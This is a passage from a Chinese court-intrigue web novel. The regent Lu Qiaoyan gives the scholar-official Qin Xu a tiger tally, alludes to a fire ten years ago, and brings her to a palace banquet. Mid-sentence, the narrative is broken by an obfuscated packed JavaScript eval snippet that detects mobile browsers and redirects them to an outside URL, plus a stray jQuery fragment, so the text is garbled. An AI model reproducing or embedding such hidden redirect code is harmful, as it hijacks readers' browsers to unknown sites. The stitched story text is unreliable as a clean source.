闻言,秦绪呼吸一滞,她忍不住抬起眼打量起眼前人,只见对面的男人一身玄色朝服,正长身玉立地站在她面前,二人不过方寸之距,可那金镶玉的腰扣却明晃晃地泛着冷光,清晰可见。
“微臣见过王爷。”秦绪缓过神后面不改色地行了礼,仿佛什么都未发生,俨然一副恭恭敬敬的冷峻模样。
她眉眼低垂。
果然是陆峤言。
只是还不及她多思,陆峤言便轻轻拂了拂手:“秦大人不必多礼。”
“本王听闻秦大人是齐城人?齐城是个好地方,本王只知道齐城人善诗词书画,却不想秦大人身为女子,却能这般文武双全,居然不足一日便啃下了京都‘最难啃的骨头’,当真是世间无双。”
陆峤言负手而立,缓缓靠近秦绪,在接近少女的那一刻,与她擦肩而过,官服的衣角在大殿里发出了窸窣之声。
秦绪微微一笑:“王爷说笑了,微臣才疏学浅,万万担不起王爷此言。”
陆峤言勾勾唇角,似笑非笑地开了口:“秦状元名不虚传,何必如此谦逊,从本王手中拿走东西……秦状元可是独一份。”
男人语气低沉温润,却满是威胁。
秦绪的冷汗已然悄悄浸透了她的内衬,心好似敲鼓一般,待自己冷静片刻,她才不紧不慢地回了话。
“王爷此言差矣,若不是得陛下赏识,秦绪如何能有今日?若不是有王爷安邦定国,天下如何海晏河清,我秦楚如何国泰民安?”
“秦大人不愧是我朝第一位女状元,这张嘴果真是伶牙俐齿。”
听见陆峤言轻笑一声,秦绪悬着的心终于落实了,至少这第一关,她算是过了。
只是陆峤言此人心计颇深,言语间总是话里有话,秦绪免不了有几分忧虑。
好在陆峤言没有再开口说什么,片刻后,眼前的男人突然伸出手,将一枚禁军虎符置于掌心,那是用青铜鎏金打造而成的虎符,因有了岁月的沉淀,而显得格外有沧桑之感。
“知道这是什么吗?”
秦绪点点头:“自然是禁卫虎符,以青铜为基底,表面则是鎏金,因此才有如此漂亮的金色光泽,我秦楚独一无二的东西,自本朝以来一直由王爷保管。”
“说得不错,只不过这东西可非同寻常。”陆峤言用指节摸索了一下禁军虎符的表面,随后便把虎符丢给了秦绪。
秦绪皱了皱眉,她并不知道男人这是何意思,但还是接了过来,仔细端详起来。
只见这小小的虎符上竟然刻着清晰可见的铭文,又有阴阳两符相合而成,内有牢固的卯榫结构,只能通过合符来验证真伪。
而虎符整体则形似伏卧的老虎,但为了便于藏匿与携带,才因此制作得极其短小精巧,此符在秦楚已经沿用千年,一般来说都是由皇帝保管,只不过由于皇室与日式微,乱世时恰逢摄政王执政平定四方,最终皇帝才将如此重要的虎符转交陆峤言。
直至今日,这完整的虎符将被一割为二,仍在陆峤言手中,而另一半则会按照律法交给刚上任的秦绪。
看着眼前被男人掌心温热的虎符,秦绪不由得感慨万分,这东西看着不起眼却沉甸甸地,极有分量。
少女目不转睛盯着地盯着手中的虎符,她想她必须把它名正言顺地拿到手。可同样秦绪也清楚,她已经在陆峤言手中拿走了太多,权也好势也罢,正如陆峤言所说,他给予秦绪的已经是独一份的了。
即便陆峤言找人将她骗来此地,也没有对她做什么不利之事,反而拿出了虎符,说白了,也不过是想把她这个“纯臣”拉进朝廷这污秽不堪的淤泥里,想来若不是为了利,陆峤言也不必如此。
思及此秦绪拿着温热的虎符,手指来回打转着虎符的鎏金表皮,指尖没来由地传来了滚烫的触感。
“王爷此番前来,恐怕不只是偶遇这么简单吧。”
陆峤言却一副温润如玉的模样,永远都扯着一种极为蛊惑人心的笑容。
“秦大人多虑了,本王不过是觉得秦大人有朝一日怕是用得上……但这天下可没有免费的粮饷,秦大人可考虑清楚了?”
秦绪压眉。
陆峤言果真危险。
她第一次感觉到了陆峤言的可怖之处,眼前的男人看似温柔实则冷酷无情。
陆峤言不动她分毫,也不过是为了一个“利”字,无利不起早罢了。
她早该想到的。
于是秦绪也只是伪装出一副柔弱小白兔的模样来。
“王爷说得有道理,只是秦绪愚笨怕是听不懂王爷所言。”
陆峤言几乎是在一瞬间就笑出来,他欣赏秦绪这股作为朝廷新血液的骨气,但也不喜欢少女这副完全不受掌控的模样。
只见男人压低身子,手掌轻轻压在少女的肩头,唇角贴在了秦绪的耳尖,温热的气息漫进她的耳骨,陆峤言不咸不淡地道。
“秦绪,你莫不是忘了十年前齐城那场火——”
顷刻间秦绪的眼眸黯淡下来。
-
如此轻柔的一句话却震得秦绪耳骨发鸣,连呼吸都忘了如何吞吐。
她不曾忘记,可陆峤言又是如何得知的?
难道陆峤言跟十年前的大火有关系?
秦绪失神地看向前方,好像有什么东西在这一刻被打碎了。
一旁的始作俑者,却在此时一反常态地轻轻拍了拍少女的肩,随后温声道:“秦绪,我们是一样的,十年前那场火藏了太多东西。”
“钱也罢,权也罢,秦楚变了太多,但真相不会,他们想藏的东西,终有一日会浮出水面。”
陆峤言收回那副笑面虎的模样,转而正襟而立,男人眼眸漆黑一片,但秦绪却能轻而易举地看清。
她一眼就看到了他压抑着的、不可言说的执念。
只是这执念太深了,陆峤言被困在了十年前,她也一样。
半晌后,秦绪再次睁开了锋利的眼眸,手里的虎符滚烫得仿佛灼烧了她的掌心,气血却在这一刻翻涌而上。
陆峤言眼底掠过一丝笑意,他抬手从腰间扯下一块玄铁令牌,顺势丢给了秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503118|186050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪。
“拿着它,夜里可以自由出入王府,查你要的旧案卷宗。”
-
酉时,鎏金宫灯将满殿照得亮如白昼,但皇宫却总被阴霾所笼罩,紫宸殿里灯火通明,却显得格外寂静。
此次宫宴是当朝摄政王的庆功宴,皇帝特意设宴在秦楚最尊贵规模最大的紫宸殿。
陆峤言前脚刚踏入紫宸殿的大门,殿内的丝竹之音便戛然而止,众大臣宾客默不作声,就连门口侍立的宫人都屏起了呼吸。
而御座之上的皇帝只是用指尖轻轻摩挲着金杯的边缘,一旁的宫妃皆是一言不发,沉默地注视着眼前的一切,仿佛一场无声的宣判。
陆峤言似是早就预料到了这场鸿门宴,仍然一副淡定自若的模样,笑着掀起了玄色华服的下摆,准备行礼。
身后的秦绪则是匆忙跟了上来,恭敬地做足了礼数,而她前面的陆峤言却只做了一个轻飘飘的假动作,甚至还不等做完礼数,皇帝便抬手道:“摄政王不必多礼,此次平定南下倭寇作乱一事,表弟劳苦功高,朕特意备了一桌美酒佳肴,为你接风。”
陆峤言唇角微微扬起,手指勾了勾,秦绪赶紧跟了上来,带头的陆峤言缓步走向自己的位置上,并让秦绪坐在了自己的身边。
“多谢陛下厚爱,只是臣南下多日,不知太后姑母近日身体可好?”
秦绪闻言,入座后忍不住心下一震,她记得洛先生曾给她说陆峤言好像并不喜欢这位姑母,若不是为了面子,陆峤言恐怕压根不想提起这位姑母,毕竟当年的陆峤言是被陆太后强行推进了内阁。
如此想来,陆峤言也不容易。
从小就被当作是一枚政治棋子,随时可以为了陆家的未来而牺牲。
那一年陆峤言才十五。
但在场却没有一个大臣敢提及此事,或许不是不敢,是不能。
如今陆家逐日式微,摄政王和内阁如日中天,世家不敢与摄政王对立,又不愿被内阁同化,各自为政,也是意料中的事,只是陆太后怎么都没有想到,当年那个无力反抗家族的少年成了如今一声令下无人敢应的摄政王。
皇帝知晓此事,但他手中的权力太小了,也做不了什么,只得话锋一转:“太后身体康健,宫中一切顺遂……只是朕瞧着今日宫宴上似是有了几张新面孔,表弟身后这位可是秦督察?”
秦绪连忙起身行礼,毕竟是她第一次参加如此隆重的宫宴,但她素来喜怒不形于色,即使是在鸿门宴上,也不曾怯懦半分。
“陛下。”
皇帝龙袍的衣角微微抖动,也不知是身体缘故,还是因为有些醉了,他拿着酒杯的手止不住地颤抖了一下,随后皇帝再次开了口,语气带着不容置疑的味道。
“表弟恐怕不知,你南下这些日子,这秦督察不仅状元折桂,还将朕吩咐的事都办得井井有条,最重要的是她还驯服了表弟那整整五万的禁卫军。”
“当真是个有本事的,往后就由她接管一半禁卫军,表弟也不必如此辛苦,当真是一举两得,不知表弟意下如何?”